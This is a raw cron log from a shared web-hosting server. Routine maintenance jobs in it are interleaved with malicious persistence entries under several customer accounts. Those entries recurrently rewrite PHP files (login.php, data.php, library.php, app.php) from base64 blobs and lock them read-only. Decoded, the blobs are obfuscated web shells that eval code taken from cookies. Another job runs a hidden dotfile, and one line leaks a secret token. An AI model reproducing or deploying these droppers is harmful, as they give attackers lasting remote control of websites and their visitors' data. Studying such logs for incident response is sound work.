Mar  2 06:44:01 medusa CROND[4727]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:44:01 medusa CROND[4728]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 06:44:01 medusa CROND[4729]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:44:01 medusa CROND[4730]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:44:01 medusa CROND[4731]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:44:01 medusa CROND[4744]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:44:01 medusa CROND[4748]: (root) CMD (/usr/bin/flock -n /var/run/xray_sa_plugin.cronlock /usr/sbin/cl-smart-advice wordpress-plugin-install &> /dev/null)
Mar  2 06:44:01 medusa CROND[4749]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:44:01 medusa CROND[4747]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:44:01 medusa CROND[4750]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:44:01 medusa CROND[4756]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:44:01 medusa CROND[4757]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:45:01 medusa CROND[18526]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 06:45:01 medusa CROND[18525]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 06:45:01 medusa CROND[18529]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 06:45:01 medusa CROND[18530]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 06:45:01 medusa CROND[18532]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:45:01 medusa CROND[18535]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 06:45:01 medusa CROND[18541]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:45:01 medusa CROND[18534]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 06:45:01 medusa CROND[18542]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:45:01 medusa CROND[18533]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 06:45:01 medusa CROND[18545]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:45:01 medusa CROND[18544]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 06:45:01 medusa CROND[18546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:45:01 medusa CROND[18547]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:45:01 medusa CROND[18539]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:45:01 medusa CROND[18548]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 06:45:01 medusa CROND[18543]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:45:01 medusa CROND[18556]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 06:45:01 medusa CROND[18557]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:45:01 medusa CROND[18560]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:45:01 medusa CROND[18568]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 06:45:01 medusa CROND[18569]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:45:01 medusa CROND[18565]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 06:46:01 medusa CROND[2999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:46:01 medusa CROND[3079]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:46:01 medusa CROND[3080]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 06:46:01 medusa CROND[3081]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:46:01 medusa CROND[3082]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:46:01 medusa CROND[3083]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:46:01 medusa CROND[3084]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
